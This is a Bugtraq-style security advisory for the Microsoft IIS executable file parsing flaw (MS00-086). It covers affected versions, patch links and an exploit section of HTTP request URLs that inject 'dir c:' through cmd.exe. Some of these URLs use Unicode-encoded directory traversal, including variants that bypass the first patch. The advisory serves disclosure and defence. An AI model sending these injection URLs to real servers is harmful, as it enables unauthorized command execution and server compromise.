Microsoft IIS Executable File Parsing Vulnerability

Bugtraq ID:	1912
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	Yes
Published:	Nov 06 2000 12:00AM
Updated:	Nov 06 2000 12:00AM
Credit:	Discovered by NSFocus <[email protected]> and publicized in a Microsoft Security Bulletin (MS00-086) on November 6, 2000. The new variants of this vulnerability was discovered by Georgi Guninski <[email protected]> on November 27, 2000 and Billy No
Vulnerable:	Microsoft IIS 5.0 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server SP1 + Microsoft Windows 2000 Advanced Server + Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 + Microsoft Windows 2000 Professional + Microsoft Windows 2000 Professional - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server SP1 + Microsoft Windows 2000 Server + Microsoft Windows 2000 Server Microsoft IIS 4.0 + Cisco Building Broadband Service Manager (BBSM) 5.0 + Cisco Building Broadband Service Manager (BBSM) 5.0 + Cisco Call Manager 3.0 + Cisco Call Manager 3.0 + Cisco Call Manager 2.0 + Cisco Call Manager 2.0 + Cisco Call Manager 1.0 + Cisco Call Manager 1.0 + Cisco ICS 7750 + Cisco ICS 7750 + Cisco IP/VC 3540 Video Rate Matching Module + Cisco IP/VC 3540 Video Rate Matching Module + Cisco Unity Server 2.4 + Cisco Unity Server 2.4 + Cisco Unity Server 2.3 + Cisco Unity Server 2.3 + Cisco Unity Server 2.2 + Cisco Unity Server 2.2 + Cisco Unity Server 2.0 + Cisco Unity Server 2.0 + Cisco uOne 4.0 + Cisco uOne 4.0 + Cisco uOne 3.0 + Cisco uOne 3.0 + Cisco uOne 2.0 + Cisco uOne 2.0 + Cisco uOne 1.0 + Cisco uOne 1.0 + Hancom Hancom Office 2007 0 + Hancom Hancom Office 2007 0 + Microsoft BackOffice 4.5 + Microsoft BackOffice 4.5 + Microsoft Windows NT 4.0 Option Pack + Microsoft Windows NT 4.0 Option Pack
Not Vulnerable:

Microsoft IIS Executable File Parsing Vulnerability

When Microsoft IIS receives a valid request for an executable file, the filename is then passed onto the underlying operating system which executes the file. In the event that IIS receives a specially formed request for an executable file followed by operating system commands, IIS will proceed to process the entire string rather than rejecting it. Thus, a malicious user may perform system commands through cmd.exe under the context of the IUSR_machinename account which could possibly lead to privilege escalation, deletion, addition, and modification of files, or full compromise of the server.

In order to establish successful exploitation, the file requested must be an existing .bat or .cmd file residing in a folder that the user possesses executable permissions to.

Update (November 27, 2000): Georgi Guninski has discovered new variants of this vulnerability that have appeared after applying the patch (Q277873) supplied by Microsoft. Please see 'Exploit' for further details.

Update (December 7, 2000): Billy Nothern has discovered that the commands can also be parsed through ActiveState Perl. Please see his Bugtraq posted located under 'Credit' for further information.

**UPDATE**: It is believed that an aggressive worm may be in the wild that actively exploits this vulnerability.

Microsoft IIS Executable File Parsing Vulnerability

The following HTTP requests will display a directory listing for C:\.

http://target/scripts/file.bat"+&+dir+c:/+.exe (IIS 5.0)
http://target/scripts/file.bat"+&+dir+c:/+.com

http://target/scripts/file.bat"+"&+dir+c:/+.exe (IIS 4.0)

http://target/scripts/a.bat"+".exe?+&+dir

http://target/scripts/..%c1%1c../..%c1%1c../mssql7/install/pubtext.bat"+&+dir+c:\+.exe

The following URLs apply to IIS 5.0 after the patch (Q277873) provided by Microsoft is installed:

http://target/scripts/file.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c%20dir%20C:
http://target/scripts/georgi.asp/..%C1%9C..%C1%9C..%C1%9Cfile.ext

Microsoft IIS Executable File Parsing Vulnerability

Solution:
Microsoft has released patches which eliminate the vulnerability (they also rectify the vulnerability described in MS00-086, http://www.microsoft.com/technet/security/bulletin/MS00-078.asp). This patch does not address the new variants discovered by Georgi Guninski on November 27, 2000.

Those who applied the IIS 5.0 released before November 30, 2000 are recommended to install the patch below. It rectifies regression errors that existed in prior versions of the patch.


Microsoft IIS 4.0

• Microsoft Q277873
  http://download.microsoft.com/download/winntsp/Patch/q277873/NT4/EN-US /arbexei.exe


• Microsoft Q277873
  Both patches for IIS 4.0 should be installed.
  http://download.microsoft.com/download/winntsp/Patch/q277873/NT4/EN-US /arbexeis.exe

Microsoft IIS 5.0

• Microsoft Q277873
  Simplified Chinese
  http://download.microsoft.com/download/win2000platform/Patch/Q277873/N T5/CN/Q277873_W2K_sp2_x86_CN.EXE


• Microsoft Q277873
  German
  http://download.microsoft.com/download/win2000platform/Patch/Q277873/N T5/DE/Q277873_W2K_sp2_x86_DE.EXE


• Microsoft Q277873
  http://download.microsoft.com/download/win2000platform/Patch/Q277873/N T5/EN-US/Q277873_W2K_SP2_x86_en.EXE


• Microsoft Q277873
  English
  http://download.microsoft.com/download/win2000platform/Patch/Q277873/N T5/EN-US/Q277873_W2K_SP2_x86_en.EXE


• Microsoft Q277873
  Japanese
  http://download.microsoft.com/download/win2000platform/Patch/Q277873/N T5/JA/Q277873_W2K_sp2_x86_JA.EXE


• Microsoft Q277873
  Traditional Chinese
  http://download.microsoft.com/download/win2000platform/Patch/Q277873/N T5/TW/Q277873_W2K_sp2_x86_TW.EXE

Microsoft IIS Executable File Parsing Vulnerability

References:

• Frequently Asked Questions: Microsoft Security Bulletin (MS00-086) (Microsoft)
  
• Q277873: Patch Available for "Web Server File Request Parsing" Vulnerability (Microsoft)